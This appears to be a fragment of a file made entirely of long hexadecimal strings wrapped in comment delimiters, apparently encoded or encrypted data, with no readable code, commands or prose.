732b20d36275556aad5b9da964388f1e95eaf039ff03f2c40c7619dce25bc42a54ea4fa983df165c48ccbfa2968caeb30863821c2903968ee4826d16cb1b74b7262c283c45355594d0c247a542c884d1ebe1f6de3ed0c1a7c80b21c9aa3ff1fe102b6f51fa380378e2912460148a5e075fdf4cb832c27f197fc2916b3dcbf3d4dc30d54383c13aef840b4cf4dceefccdad088bf12c15817e2b5f6d7bf5fe36c75b19c1c4fdde60b0144bfe3d1fd3e3ccbe054644275cb2fe6e352a12b86795a50223eae873d9deadeef319f48cec89d75aae3b13ab3c8fc70b043820e3a7b3bb35a370c3a49b6344d8452706608065ab9e4be7eacaeef3b1ec155796652cd4fafbcd32fef1eb9ecd3f0b4e771db6dc476ed11023728cb8a0cce79049523293be0918fc9a6faf92c7de39cce71cb7a3c02051eff66f14a6f3a7ed06e55d56ee504f1ea289ad7da3271dadccb6c6cbc5e086e1cfa94e77fb33e980f564f3dc0efd3619a6d81e1bb7adb3a1f7d973de600c3486d063388d36bc95b8313da4869b31eea580232ebbb99f9d90570e7a96d532179fbcf7f0fea579717b07b0912e9f6f643bfa1b60efd519e173ccb3ea*/
/*71d784535926f314647426f2c6bbe3da93c549561004d6f5f61edc7fb1246fb3e5e7b3d8d1cc57743949be852e749ef90796015b63b82766d17711f20055d0fb677eda6f74e1fdb2b36286faae3866dec27d11a723f655e05608fa535bede9377b1ee0e46a883b66e0ba74c7dc0f992c0624a9952c7a0cd7022ab6edac0cc5a4be68f79f8d85654d9f01cf10a83c3463e55233d803c870d7aef9126ed08f728a91a1da3cc3d9633f37edf19b4e55b09b2639f5ee9a9ad996aa3c7b09cb3744b7df8e87d1fba3089da850e1f3a4c6d7d240b2d8a2f862a456186ddb6bdf33e2e85ce614d5bcb8a31f35f6ea6a55892e78d2a745e6ec70c15dd1202faf16d5815fb67ccb3f6c271439df7e19a17dcf13c867321056bb211a8f6b09100ca95c44005c8aefdcf544b190204b8bc330825cdb75bab86f75f5a5f7b7582f344cf1fc9c60c38270935c6216ccadea482930019e20dcb5bdf93d68d37d9e851eb4439b8cb9463cea523c30a46b29c9f605e4d09efb259124a2508893ee2c0c90c4ea3e860f8cf43889e7a0e2033a1beddb408c977eabb16f978c4a767ecad1ae53e7263e9939ffe5f3668664cee21da073291918fa928a49b1b442e7b072f3dcf2b98b9ae161ea0e7ffe1dd4a8167342d9323407c6b7c90c9dcc0610796d0cbb389a7f027eac37b995aa817e0fba4981a9688d6f51837b9b8be383c8a4b500a3a6bc2cd7e7630be7514678016f81ddf99acbbb16b382f93d7dbdfa0dce5a05e69aec0b22d02ee3b47b501411edc8b960adf6af38eaeb86bf6e033148136dff0731724568688af163b8b6b4d637bcae5219530c9b9dfc1763acbb9474be80a31ac64997e6291c6ed51a25644f0132d677292e3e3ebd7755f81267f08c0f4baf5510094a67e3c1d4fa8f3d26896b958fb23330a1005a39da0f5a11e8c98b7c0589dbf186f6c446858c7bc4f7955ad22c9fdbce535b9bb70f98501a0eec7cd5c985fbf3324ceeb53e6852ed0405fb2bd0f46f954ec515749dff76c4b4507b13d2d2fb32002daf267005f7d5e74fd2960ca2e48063c5cf1d152745e0506f3f96192f171cad08ebe2690c68c96656b55def22fd6edfd2699506ab05522de89df78829c4ddd04e1400508b889ee4ea65c91903de99a7b3e1d22c738fc224988ad824a6b9c91f3c16b7fbc504a69e0db13f62d2b1ce5949805d4b34dad43341eed229b2400b23e88f306fe6f2deff7618484d26f548960a4c6931488bff3a21c668c372d730927b97100ca3756cdb6cdb8e48548b3b9adab15d2587d954594cd066bf7281b9cea88deed610ce7f3c088f4104d50d80992f735f0bdf70f889f66066538ccf92f23788c4277429eca597e4b244a5ed405fa88caff75c175fded4a29061fccce7d651241a88a0ac5ad603c7a4f1dfa3483584e8767415f99be29bf77f83545d29cbed06b42b32175bbd0ffaa4a1a8169ee8f70e7982150111e05e813c50a57ade560e95b609083397624bd30a08787cfd5a8556ba02b8c0305cb930a2cd049b862a39ff96a2b636ec526c0aa20279f0b3bd097415c74aee01c190fe28c660aac2d1e6178795f2ef76efa2a5b7b505940cfcd01022292b57cb6c010b450ed98336e9d7ec483337105dcc4a10df3b2ecaae52fbed38f07a5813f8d27e63e01fffbf0ba988c27189fc38557fd4ab61fe56b21d9560de6a88a6c19bbd154666302b6aad0bb2da2976ea5970cd3bd346d7801d1887fbdf2e707e3059af348ccb17b517a613b713afe33718d9e638753d45052a5bc4b9a1cff4036714042be9addca0f15a5f742e283edfb71789b7ee9d810ad8cff50faac91632a26eddc27e2f44af4341ebf93899f07aee540b4886dd3de09f9ec34961f8257e358442d37a61e883a00fb2ab99b441ca92c21b419c6c7c455cb56197aaf2b2ab2f0c3e8207c6d26dda8b9f23097aac8482e2b0ecf8473162b74916a5ed1a327238b47ebe564baeaa5dfbb24762d4158f2db33d7912b8f67221217557cc6e22a7ee905d37cf2425864e86590f4f02d4c0396a10edd7b14aaf52e8d75528251ad9dd4b0c3b3394d6401ba455aa5542d8684fbbd02608bcdcf33080b8a47cc36784bd0029d8d690f84089b29a6317b5c6b8e4133c2620ae0832afa6e6fd3ff6454e7dfc6ab5c9026e1939643c4b63e4bbbc27eac7f9d5c89bc3f27db9e0ba1a19235e8eb671eb0dab9dcac66dc8b5a675ff30355e2e2905065deb0bb7310bfa1f5d397e164bdfb94f93785578a9d3f37eb1ef178f54bf49f40e12dea559b12be08fceb48f09bb9eaf6c4559d58f027aa125a6c4f1ac8dd3910ae2a337ba3ddbbf85dc425a29276c67e4dcb7b5100371b6553650654944f60d006b7c92e789b7fc7bf9577075dbce23270744201dedc9195c86ffdf823b492e8174e47eafc8ebf85cc31ef12e5adb2a76df9d82d81ad2410b8abf119c07e6fcdad701056cf130b7db394e9acff5940a9a735e28d3e53d7ad9701438cd88d95ad27d631555da996b034898a22ba3d9f0601aa9d519922caf7949f3ad80ed0b3629ec0d576eddda74452a906a01970b9cc5f41d85c4e01a95d5233ac0a257290ed676a0d4a44150aa29e6a30d6e964ba45c541c4d7fb2b8a4959cabf813805bc90751be82e43b4400197a4a9cfc62b1d170a7d0f09cbfc18681d2b123017ee7505f2e41f049a2195ff58d755ce01ac533fa955d058784e8b2c1a4dfa1260466d117a79d04dea8def82ee46263527a3ad19f6bede843c687cc07adcfc9fd21a06553ab371096807d974f4a84a52a8d0d6376184575f6b1a6f834d4a89b019c5941feb1aa59*/
/*d1a3ccf45e43989e1c75ef85870d0431c0ef169a825040f5554febad4fff4f9c638c01a2ae4f0af9db1bb495da1a1414e6dd9fa091178473f695aac4709cb9a5aded8c4202b63bc7043c0788837c6f64b1f3c9e6ef4751c2cdde0de7293b368d56e9d42844ededb8f0cd80ffc467c3c947df43c0fa3bd422c75b75211f82d08b348d90f8d214c534c86137b9079f1d5372945c3d1bc67dfd4d7b4752e51c1bc44016bad2d19dfaed0d1cb56b58acbb54f16f7be0be8a93762f591ac3bbba147d20b8acec22253dc41bc5988c99ff945c496392fb1f682940201f2bc8370db213b665b6445fae774d9554174ffde8b83b6bcdfbc58a015fe51e83be35249f371d29c810ddad05564a34858a9b531d0c31f02139987ac4a5213f4916c5df17e0255a5e57c52983b5a82876d1fe366edd40087237fbd9257cacedaafa3969a013d087813351299d56caeecac13c26f3b43b0b998400a6d084a4c47d586a0ad8efde75750e7a69cf9fce94dfa9034727d1b23d233910950815aa84a7db082050655bc6d6089249576322910bdcfc3d96ec0778cd513e389c531354c0c0709d80267c53bea866a0b73a8cd2c2ccfdd2f2aace8282a56b298a2ebeb32f8c705e72643e49541a44e9be69291041af67b2a47cfe83cd19f62e7c54a38638a27e777e5ea30d30a5c8d2889cda20f0727e92da54e4ffcd1b1f16377d2154ddc5ca4028d6acadcec8ec0917fad89c42893c1cb81293ee901c7149c30999ac02b0de3db934b6dfeef90d6a596ff91bf461e7708bcc42b73052d1bae918b18edcd61fbccf97a93cc2c3fd2f8d2ddb25b33d8aa466e64e9299e8ff31f5f978aa5aff9d1d40e62a087f7e8c3d4f1fd70ed8c0248890d3302e9679c9e4d35471c26c15400d1a15b70225e46ea522c9f0ea87747f249662c4e72c2663063b101021dd5367e708a5440a429cf97fc43891ede4b73d2d268cc50f1aaa28a7994b0dcf90c5357d050ac10a3eff590f515229f749226cd41a054fdffa8a1877c697c96cf334976c473e00532a1710e11ab4fc0d1bb69edb65e7006040f4dac8bc83ca8f946de5f76b127723a531b331f6b33cad279ce2625dff11e43ba2adeb7648461f4b42dc3b8d0b251cccb74c093d75eea2cddb097f2ddfcd0323332e8501c37e8726535f16bdea995c7a507fda8485af3064f294f7029680e7baca8563372646e62ed021c973a5c3e88ec052536d2e54847963d4918bf8a721be9951d696f4ffab4c7e2fffc476e83a63a52d1da0cc1ec15902d74f5cf73d5fc0925e30bc497bfd7db0f37e2946b8d7a2525a8045cd2eefed7248790455a2dfd3aa0766590616c818baa8af3b7d55748d8cabf568b63477d2603756dd8afbd7864299c9e8ad25bfeb4c929ecfebc07edb1eac27d5661be2c847cf36ecde77069dece332d884debafe3ea78c9b4f086be85e2ed9b038b404246c948b02c9eaf9d70e813bc37303bb29415c847403593a66a089f331ffbacbb27acae39176cf35ec5a970e0c3fb1b75a00e8716378be5859d68bdff4f36f5b1bccd9b5ba25799c6897f7be0942acd9e4d4b7e2a0883b8c6f9c08d004352264536c0a9140358d3b99cefc742b6ca4a465200cab0ba216738a722fe4cab8c278f93e71af147a4a593cd11ff0537bc6df27ddd556268355a3f3a715e0e4ba66b5a1062de8fffa2f93f204c0243a1e4b3dbd18414865d4ba107440e42f408d5af80bb5a9324494bed19ecd5b6c072bfb10c0af2293ed3dfda5d2f8a8a1aab05bc98eaa6b5f2f847c1e229884cbdd65f9b4aa73a9654df8ffdd3bce4e04a49ef1983602146015baa479e05709a629b72dab260cc33ade628b71e0dbac5db9963875e8a607fe09403370b1b00756f389450891e15640660ab23827f6497221a4552639e844967fd237ddb77ad5a57dd9d64b7e83b914a25b02cfcbf762b773bd3e3b8812292a44f95ab2aa358322e31a1647e936a13f7ce76d2d5bdd759a621b44c51d70a51d88f43ca6fecfb370db45bf1c87a70d328ff421062c319f481e3facf5593926d4033e8b8d3a6da715ff3c9f133963b021a17d63f024148f7e5280cb9c2e34153ea7669259a4bb3c9f7cd440ff0cd0cb1d48f4efba3de81c1b3e2503b6554b6aeba703023957ad1f6dedbe9db56cd247dc2a515214645bd58ff8087b296f069f8be2771205695fddb708c1755cb4e65c7329ee2ae56e6fa0cea294ff23e5f63b2b37f42ebb9a9295282042737fe30f996b1119630e76b2e8d7b62b4df2fd62ce0af7469aa4dbaca6e3bfefccd8988732998a19567c283e3329295e1880d047a3cff5a1797083bc9e52106d7b5e83fdf06339156acaa607d962fa65a4d0545937efae0d99e535d2d8a4f7a2f4ee2591c7b44cd702dfcda1328b15f434b1e2d1b7194ae855e3a15c64ff5844cd97c21bf54c56e83e7791785032a8cd0b75512dde4b09a480c55dabc87d7c24d8065ffaa14bad257172493531fed72a7ee548a25ab594b70731f37c281db11d22cee2477a2d97ce72490730bd5cb191dd1111821569a40f497a296614425747f60f0daad66632d19a7630a1becb69cfcb4e05d9b8ae0cf6b93999ec44cf069f1e8ff0b1d8102eeed5faa905b65d5e8407c39f319e98286c27691bfa090c1c69446bd2a7f2aa22df52665ba533f23b3f0f402b6e568b18ceacca2de79367e8b0701a5b5dd1e261115a62eb43ea0ddda024d6a7b75b9ad8a439fc02e7272e1608ca3d8b5c86e1029ec8e3be57166343d570e3ff23428d0c6c8ac4e09ffe149b3db9cc87cb636caa12984914f19c5f9deab99bb7d8eceb053ffb*/
/*d95593045ab27c21d3450694e6d440458ee5cb58edef7cc94a7bb6d820a43dd5171faede81bc8e1997c8a174edee16a928697dac16992c902118d3de3abe8a7a52bb11cbefdec72f5cc06924cd53d8ced35bb67b496180c569fd9a519bc77b0feafad760c34207e7ce64ebf775bc3a649654fe208ccb26cad32ab2d65ac18afd1e62aeeb06c869a91e932a7dd7f09c2175cfef43a08d40642a3a097fcbe7c1631d98d6bc52ab75d0f81e17e6168bddeb297b5ad87fa2176a1e2daf5503b3ab62c4f39107f5973d6d0c9e3ad58b46b0917f201447ecd4b03b97ffce6cb93d36facc4f42a3a7643818f67850d0123217788404b24b0a5a4f1ca4bfd574d70cf7d19e5b255cbe8968954561b2d7b71813ff59884e73d99af4d2fe7c7fae27811dee95773a018386d6357afe209ea6c5f4bf2508187869f880fb762af776d222c3bef04c79d75d6ed615a4afca1229b248ca31d5b5492032530dff29a12c420ac3ade68fd15d180eb36186aeff7a7e67ab990ea16b7e9673bf19ab89ab623c8875e8ae6248c41ed72b7f322e8e09d7326f1056c5f1f8497941d7fb1a5167b3f9a93c9deeb6aa2978880069510f814e80fcfa74a5c59a06b218dada733e9ebe89c7b43b4c73e46d893a1dfa8d51506f6706d1b1ac3a86f57bd746d1472ef8b749883325843ee928bbcd40cc0a33fc9e8fd57d2bf3b7162ffd7e05df53b0d711523c54b617725ff89d915041f7b747bbf8ef4e1abd46ace19546a916daf3541b70f95c3797a8ea1a7e14868104405a7cb1265670a7e8f0a6374b103adf36e456daa50ab2e9baf4980472abd4932ea8810f6568c647a3e4655b28dfd7de343c2840884cec47b0fd17c447cc9022f9ccd3cfd409688e5d2973dd0b52db54772de2e8cab7cd3d07a2d9400758ded0b993ba9564d8c0b98a3dba641f15dd25b64cd68368073e2afed847015c6ac8e9dd72a251ce56b7ce9b1e1afc3f47c3f488d2a5e005f899300dee2e9126f4aacbe95fab791130092ffcaa6483355df009219bb8f31b58970fa7c00b2b92c71149cd73d2ce70f0a2c9de7fec3c2f53df7ee2c670576b827578e221330ddb79741c389186e8884689719303e9ba0002a8400edb21e71ee0abfb1590e484ecdb45cb890da65f2ca36fc5e6033ebea75e6f8b06ea5b872e804c1421d0103a69d3a29ae755dfb7946f12fefaca45e647f9f69df34b2939c732d85a30b4644aa427d6b722a11c6d31255b79147c5c2d48cce97fc10ae768e30de8632c4ddd8beeb087070a3bead5b5436e3c2d12a29f4abb6ad8d34fa82626c04546484a4d4c35182590809880837caf6972471bbde3075dce24949804d3015d07fb395ab77d1d30bec4fdbacb201edf7b4637a341af16de654da6a9d66eaa18529c5e1e111b6ff5a8676fa7cb4444005b6b6abae2018ea6843ec18127830ff9ed93a154fe48b23cb92ac78d8830dab2ab9dca7d7f259f90d5c70faad5941b73d96bde5f3874e3fe5b0ae62fec7313fa56f7b790bc377bbbb7c701740840e0249d229f7d74e1f2d8ffa5ef2831950b7bdca4b091a214cc683931c380f364bc4eac1361f03cd13b95303fee1cfb45ab60c7afd219a7f89977d6a11537778de2b950d8d61089e5284f6ce9af6cd39e6b385e01a78e7e6100bcf44d1d6eaf73a16d40e700b008719f635ca3d969a0a0c1514e49cf7b41f71a21af55e61838b4ead8c5eff7dd52882af40f131395aab945667d212c24def07df2669c6267e58869377e9fe1dedf99a6774b565ded3576ccb7082214a94b964cb60669a3af1de6f49130e9a7255020811ecd2329eff887a488371edfc53e4766a2894e9899d41576c8da9c76b9aaa1aab2d380a1cfd5a4c56ed71e6c7eaf6502c05977361e0a8f50f50bef2372a44e3e6a21b6544cd815fab3a6983442acbdf44602f86f3144d1c272ff5045e3b817570a7cd4faf9d9a0977379351fd5d76e217637fbcd9fde7813cf608559321138bdfef349f95766164a6121486e583bf33c4225890cbe9f3282c0e083af8b43e04d133e7d6d04cba4d8f5a88f893e06ff3ba10fe08719531db41511ba329dad433819e387547373ff8ba039b8a7579d1b403be4f4935e9ce18facd62ba448b6dec2ac9c755c1ed5faf6dda9f3c0d9c25b6259384aa9d34ed3b807a0bea4299682f6913f94dc4aa21958ea5ced48c595f2d58b6e82705fc6eda2924bc5d7d0a9a21629bea0cdf301b77dfca0220d72d1eb3b1142d4e72c0d2097783df0797c42e4889aacaccd2aa5d595136df4cde87c3563fa3452ef4375d29c20ada8a91d2fa3226f8c8fb0c71dd6bab94861f414c437634a55acc054916738f3910d129b3039568f2be7e7203fd0328d23e7a774954066c94ba405cbc259fbd112dd7a90e3f8dc1a5963f6cbd7f95b794b7b3e65080d184a83741ad48e9579ea21d99b80aaeefb6d210f6a6193301f3944426ca80d449fe8425836d8f9ce5027b162a5c41ff76baae2df2e1cfa65ad2768a2351627a04517d724293de32a6c961b5384fed4b0145cf7eece3ce81a242e35ddf4af66a779a2084b082bcbc3e7adf6b8643afe2ce357a9be8889f557d6cb3e01cfa79a9543720cbddb929e2be5f0b2a4408909e5d64223661789b9d6c88ec285f60ca2c476d0a708dad8359df0372c5aa5c5bbf66ceb44b753fdefbf85b80169222579782b7260e67bffe4ee8a65ea23f6d3d03440015b02a967e8aa7330b3e0cdbc800a372f8902d86fd432355a2c467efe0d0df9152aafae848e341a4d713ceb8f924ce88911ccb2ca8845c8b272a704af25221aa4979a315a912a9d53*/
/*135fd0da550a79727fd77e876e159fdcf5262674854cacbc74bf48ddde9b6c331e875943b53a0cea51d74493a7fa399fc6dcad76a9d81993555a4eefbaec23faf7bcf8de4d4ac5f7bd9e3c6679729880e8aec4f16d495dc25b2fd78bfa853667c0f1a7eb03b845f515bed4c4e76e0dd5b8669cc571171b378a8374147b3eeb250c422a9e70fa3fad38d15395a91534a081312ef12471739b77ebd180a94e417332cb23e1d1f06c1e7f8bb23b2520629051815026fb9cb8d75347d2e3d2fefa0ab05be269ce066c6dd59251fa8003619ec8cd0a645afe8efb7853be5b7ec72717cb23d1771ceaba4372924fd5a0466d677e5a9610ffda58588d0ef30c5c173d73cffd03e0489ac4a4b910e15ad17e62104b2b780a9960bb828512810f5ff48204503486cc0b3d54be01c8faff990ec9a11509c3d401983d2cec20992fbe3ca9ec2080e4355ad1c601ea7818a78ba56fdad6ef4795ed3f35fb877260f8788488de14e7bec2583a1b93da74df0ca6991104494d043ff92b01606b7fb075d2c91348460e908288601dabf61a24b2659ebb5a1bfbade5aa42d065d438356ec42424da490a793cf4d708c60154ca0df0b93b6fb5e24dd77f9c62bf238ac1a797eaefc8459a2bf5ad04296a102d4356be8ea0426dc648ac2251e7c17b92d105a4898ea3ecfa0b443dd368d805f49b60ccfe202bb48aca9b8c12cf57e165a7c89483dfccddffeeefcf794e6c4dc9423da426723ee154836ab692657898ba1f12d05e185711f53b209c0d5b10de559097ddc7719f42f8bdcc6de392f4ccb22afaec9dec319d0a1a38d78208d90e96c511ba9b5ef55ecfa963d515c8d1e5d2a186a7aaf6d98fabb06b37ad0ee581a3b90b507681d52e03a260bc9c973bdd6b96f031f597ad8063106046e682fe89b3667db8e6eb5772087c4d1ddb6acc50b925bcdcd2463726ebd46c32ddc40ded3dddc1bb2c109f024f256476031df056445eefdd42b367eae18641e00eb853d90630eca8f31b22ba99ee118e3174f977b5895dcf1474fa4b50612d85aa9a0a2048daaf3c195b5ebf7951dd454689b171d13e692f03f9de64441223b8b4d4cd14ed3328a2295dddba9a41ededa4970c96c5a71df1b6d206089b015162fc0278ab8b27b6e7105fe089001c68b5aecd382ece9338cf762c51b43d09f68df0065d87997a541356a5d91e33f78c53d990bd9a61b85d65e795a6a7e62d2da0321151ecba2b45625448642bba66ee9fd7119a0a02480769aec7fecdf1665192501bd58f986cf306405bc1596a3465613fd0c767402e541af2cb5c639cf39b6aefca390fa9502561cc3b20ccd88935d9d0b37a24c45504e42349726f99e03f96c20fa5d820c22c8958756be41490d8a8df9fe259afc6edd2d9014890de71c277c6297f5bbec9cc1ce2037c284ead8b202b6de9943312aa8a7906885b2104c9ad6d262dadbbfbc634a75b1651edcc7b8e529b3b1cb0f88191a01e832c7e5e98ef90e2da7b5713c3b78da2877c7efa0162de04bf7ff334b3d359591d9e1fd589e8acbc2691127f4af1a65c9352903d0d7b691369d2700c5920bdff6e9204992143b037b3d2f4e095f2830d1079329eebe889fcce94cf46b6f35f642e3fb7de99a22bbb27a44c2ef63c5f01f610df1bfbfabbb330f1599d7965b00e5aab575f52f346756df1916dc7b781bd35c5d1ec04629a8d8723555d809251685984225111543daece3e504d683098af2c9dd05148a572c1c40a508be14b0c200c1f9ee5b34fb7b809fe6978d421939c9abe5324bec13073b6c975c152fc8366a8fb02b652bc58114452b1e2643145d14954d6087ff222136ed726e1fc542ccafa5590844b2cf33b0da4fae97b70e65ccb3d9d5757df5bf4137c4dac2ae3b71b09bb053b47e33f604c7477d4f2890be9a23057dbc0aeff7bedf70e3c23a395837f2c715843cff443002916c76c862e92b144f2de09403339651b7ee5c41edacca652676bebdf5418e39ee8c708751e1a85daf9e1aa22cedd50ef5391c9ab8844bbad9c21358dd2e65f98806562beae71961e21729f2b1872673d04bc3d910f63d330b1010dcbb74e1fd2fdfbf5787ef601c6156433b4ff622582cb743f5a5a2b09578e572f00c8201c43dbf960a84443dcca76b2c34d93f1cb2b19fac72c519a77b77694c8512f8ec8622a20b1961e020101ec288e013601709b5c078ed27b6da868b1ffd182c444326856ec59c9ebb1dbfbcc95808f611971b49ca1d48d7df9b2c42a21b1d7a463028b003bb3ca690c6255de29d4eef4b513d2ab4b0165f885f7ed855efe867e87aee7029215f470ca482369be50a28db180c178eef8ec3d825c9df972e7ecfab8ba6d31372c6ddc0609d6cc0a0f6cd6f312b4075b8292e0f4f23496e8fa021dfcadebfd204c15109b886fdaf5319c0140dde983451c5bd58984ce99d013017c5c506e149aa7151d752ae3672ea1e71349dc8a24fd94ce024860124fcaa964086ca6cc4c29497e0b234613595bc535f06a54e6b1265c497b766186d7c618d6f1a6f2ab0e5a73a364ebcf05f3bdbb9fd04d480ea498ca0996fe1ce6af2f08325a201196cfc014f6e956fd2113280f0f4c3c9c519e9090cf54f4d694246515d2bb5089af197b0ef94b62681880b60013eb2a407504c1f361b072aad2262ae175ab30971b3df31555861972e85f1ea22ea8282c673a9e91b5b33a4a4bd5559e9447b3758526127718ae29bceab1decd63dc7245142a540d9685c4ab5df7d50f916e94c4447385f7680b28f6b94d21c8b17457b940fe41cd4022649d072abb249acc7447f13592de00b55487*/
/*51be585cca0600073c6090c2453305690137f8d0a02d218f76102587382c3e0abad4b4b9cb4dc688e51d27662937b53e0d60aaeb45598d85717eb001092f4105d72fab7e3f1d0c171b8d2348a777d9a214066ae4f185ed85bd8758240d5e58fe89e7181177062296f7ee672f10cf6ab92761267c2459ae59fbdf673358d68410f9f8d73210208d388f63df90ffe0eddc010f4e7676bac7fcff70ed4690aa933126b52db60eb503ec7062a31bc1c2f348fd98fbf37e05fe8219c83c074605e9ab0bcc4fe96908c4a87d3520b6d766f923a878b8bc046f282ef5af4782ac416ac4adbc87ce78dfe6e0263812c16e004f9df2e1b9f67be56a6ff775523ce99464f0157c8b14cb5809269572538537fe6560b4098aed9f75ec7eeccd83b4915edd1c1190c545645ce53ed99b2f11d1dfea538c5213750deb9d7200b580d798f46ddd70ae7834bf9f979e9ea3310987de44470428fd7a590de7052fd050f0c338de12742c6afbbb9063f107a944b7a67d3885438fa384c0f0d87a14f8868769f8abe8ed4e752d7a745fab796c1b707b71587a3c606f850135e56fc7954d9508d0fd6c592c0ed26bed82396f0e9959caa5ea777315a9083f30d5508283d3681a237c1fa31c7db25eb86d10428b2029f09eadda8525b0111bcafba3a92d49fe5d5ea0eef11b061fcbc2b8311165a9ea98fb8d3bda600918870673cf0b1631068889339ba3fbad8a92defb5f49f3e0e60a87ccfdee03c32a126ffd7e7323f3c1a3b6c9e8fdd608fd4cf49b5d61de0d2941edb9757148f974d7986e7bf1389a817d6aec31c0ed4bcbd77d63548826db0b8c897dd66a691beb6daefa3f53cc35a8520e8f0c7fd07feb444927ae02bcc81a8ffa405cae6968c03a6f3adb286f18115e99df39a88eb1c32481aa2b630785e0a7767f095bacec2b14434a13fc03f8e925e7fe1687cd8302bf999ae204b6784cf404f1824d40f234262109bcbbe4ac83d51ad1f4d5b4aa989ca311f9bd93f24870946f7d57f274cd61edf8097a127f0183485955f8f534157a636977a36c0aa63444702bfd61208eb9259b46bd5776b672f86cd4ca63986d4876ed65919e4208ed14be50fe15c2d5a2d8f5ba47a9ed686dccc80dcfeb1b379d3b794dff3d7028f9e6b291062d5bac0ba3f95967bad3a66141e7e242629f6b872f4e42867c17960a64600d9decf2ad9d8ae0dd7809e7f32fe8422913640e0ea43fa9335a5a367af422973977b0b931035be8ad71e62407c44a3c3676f9fa591a41555b0c2fa3bc84c316bca05413e210b1c65293644017a15e8eae03843ebf44b9c9aea815b44601ffde23d2456faa432115f867d59830ad4d1c87fa11bdffb7cf79c30c2e82c07c1a3cf72480da032a7eeef8902d9a9619811509c230d7d3c6038edbb3d1e29ec1f1bcc29049cbd4b3386198455bcb4293b058f0308795b6a9ef53d55933fc85306a9b203d1f92c450dd257809263aad0384280eca7e3cf74c9f6316bdcd3ed212bc57ad4c192320c170b1e191877b4a90b0c9c78dd6fdca2413ddc12d1c4219b43221caa8ef9ddb3217c4d31c0246a5636a323195fceb7e45a216c6cc57febfe7aaa571dc144e0ee48c6c2d5ae503ff2012526e2f71ebfb5d08bce26bd7fa09512ffc9c9a82ac99b90778467c5a6743615cfa814da07a9cbab17827d5006b702be8b34937dcf945a913be30b5fd0fb5be8b909adf7ebc70024daae574475ea51b2cdf3af293aac1a7f7851292768c273e472558e81cbaed0fe3e1c4499c4403f98a05fe2981210044f9076b602619db997c0c3e38c70e973d304bd3d3219ec47b39f84a9f2fa0d9d337dbb16a0c845f02d158ba27eb8a37bf05e0942ce2c341b086e3fe4b9023d9feb135fee9c378be113b8defc34b533be0054cd9b34a8a220a150637dd7026fcbb9a618715217ef7d2c09c97ac06af7d5aca84431ad9031a4d3b152b0a17408361fcdf973fa890d56a4000d2c2635c79f44908b284f5e07e8b02bf103b57f018e9bc0d9780de74cce926f5ffc1e77f94f71889ad86e8070594c9f6d8da99b1648c9d50033bd651f2ed8a9392fe5b71ef0660597a6589f99e056342f5855c18bdedd7b258f96be0f69ade6bb39d2f08ea8c4afcf3025b68e9550093707f7cb041a97ba63665a0fc559b873faa1a24d0e8c36c814c6d0c4b993b8697ff76d5db91780276697ebc6ff575a853c67dffc62f24315339d2c217461484f76658be1a4978584223c2a4dfa7e48fc513119c467b7d9b01e4733f43f7115391d1dad1fd320847d44ca5a735abde45df99ed4354aae52ce7f945130be7340a8a49cbdc243ebdfeba8f1462b4204b3cacd391a1c20dba70cd73ca54c1bde73a605e0675b9861f890b5b2dc0fb6883eaf9831c5eb02f5515b165abb3ddc7b4df840e058508f3d2b614e81042b9604e64d2b175ebcb094890e09182f4fa9382661d11935f18e99e582705d9047b4bd11d113f2162c274166d1203b8e67d414723e9e2e2aaaa5c5e8fb2a6e464cecd50377fd769160ae60b26d27b276ce7a4e61708c7cb1e26ad039dd55d1f20653762ac178373249bd853ea606e3a0343b29d88b550f96b65e61565735ba2bb82504e03f9e3c4a7e9469cc03e6afa2461881499ae79ef1282b3593cd5a0e021816b48626153f1689c55dff161e5be7748620abddcd2933100c9ed5c251fa99cea80cfaf13fb29ce9ecf9515768e56fbf0caed3a8e95e538a5fe87fae972c6a26e91c956935ad86f4460993acc6b6fd27f554b5f8f7543fd8fe5119efd0a285381dc3a6a90bb8b05910c7b936f82278ba0fed4a9a295*/
/*bcdd9ba8b39e2f337804ae53234e0fdd918b583fd3c5d67c58e4dad5bf60fa770b238b756c5964f616cc1a532f39cf1d763c791e617b418266ff49744c16908489e771bb5c0a8d1006fa9eb15db34e8235f81e6de22994bc04ea081558179da725cbc27fe8c1a24ead66ffff2acae631924fed20f40c4d693e6f59b4eb704b347f9830412fbd22ff77a604e55edde3c5a3fe836575580caf6606d4b8e00ca820f46ef5f5691a4040e6d56e8659a9fe39cae5e4f2e5de29d1d08441eea9faf344163281aeef70ca112b234d48ed85f1f00237d47c66ed0b40439a2900da8516c915629998f1c8ac098c7d81ad0f1fbbf97022eb074286143e00a8544ae67182b15d7afb0f33e1dfa4620602fcfb936ca29c9a8d6ad8a578d048c5a82c0ec0db2a09102676684c99a553eb0e25abda83b29336b36c76000e2e5882cef40b8fea9798c1ff5c5528a430657545bc44b21ac95b6a04a3862e965e09ce4ac5509b6c30f27663b1c49a7f1efbc1e7a4833178e0a78e2c518eb38324412f1cfb4a0ce0ef21dcf78ee54bf0f14f2107444f463ee00866cebddbacd3dba31e78e6eff976af3b5ae5c67006b25dcf0f398cab62456cd22250f3711247359674539ea7fff2a63086e117a2b816b6f87f268cfc9650e6fd53f4d094b3b080e36e0145876bfeb2af55098c8843ef3d653158b187fd169324451a5cb2b58f0ddf6fdcc8270e0ffb2e3778e546ff919405e061f28989eccd2bb7c836e72d9d2d1b7e4cc293304de54be5b5b25d3a53c3550f6322eac68c295997ab79ee3f8813462d3391158920a0e4e77d03508bf4d119015ab21577f7eadb65d3bc8131ce00e922d56a0e873b3303374bb1e6c993ccb14d750a07d0b28bcc724a5d4abb32865e66c1895bf1b9f8d8ed7bba6a8c8509671d5977164bdc496387bd18ecd9650e38c819df89db1761bb61baa7afb5eaa7a3410b7a41ca3972fba441f37b8c23c795fb3869c77b09f48c2c5e51c5b13feb69556f7e7069c9574e719139e621635035eb8a30959a494331101c59e86b6ae1f1fcf825fb23f026504d957d9d09b36579d95d7c8343cdaf2fd6d79c6ceb6e2b545f342f0f688596773ff1885bca73606184f6a2f5d56d6f013a33cd68723c4c7795497a18ae00f63eb52bc9e56aa188429152bc4c37a8638d3bebf81354339e46d612a822ed3553ba0a02041cb6e846875444229cc04134debb5c1c4764bbc1c0c8b6ef21bd59907ebc650d75eacb2140697d737a13589099fead5f8adb13c71c2d9a92313bc9ce4c64118a18adcd740c4602bf461b288a5f7c4aa1b673ea8dc266b1b8d7683c0c9c55e3cf22c2a2a5d8df1ccc47d0b5ca27d6b04f1bec82b9179da0ebeb85645f570133d6dcbfbc8c0fc0b07fc905a149ea96fecf02281bdc85d1ba863aaba765a46e7231ab026256d1ef6c0bc6417e6ac559405fa9e7b27b53d8b59d6f13a1f27724b88595cf84643e2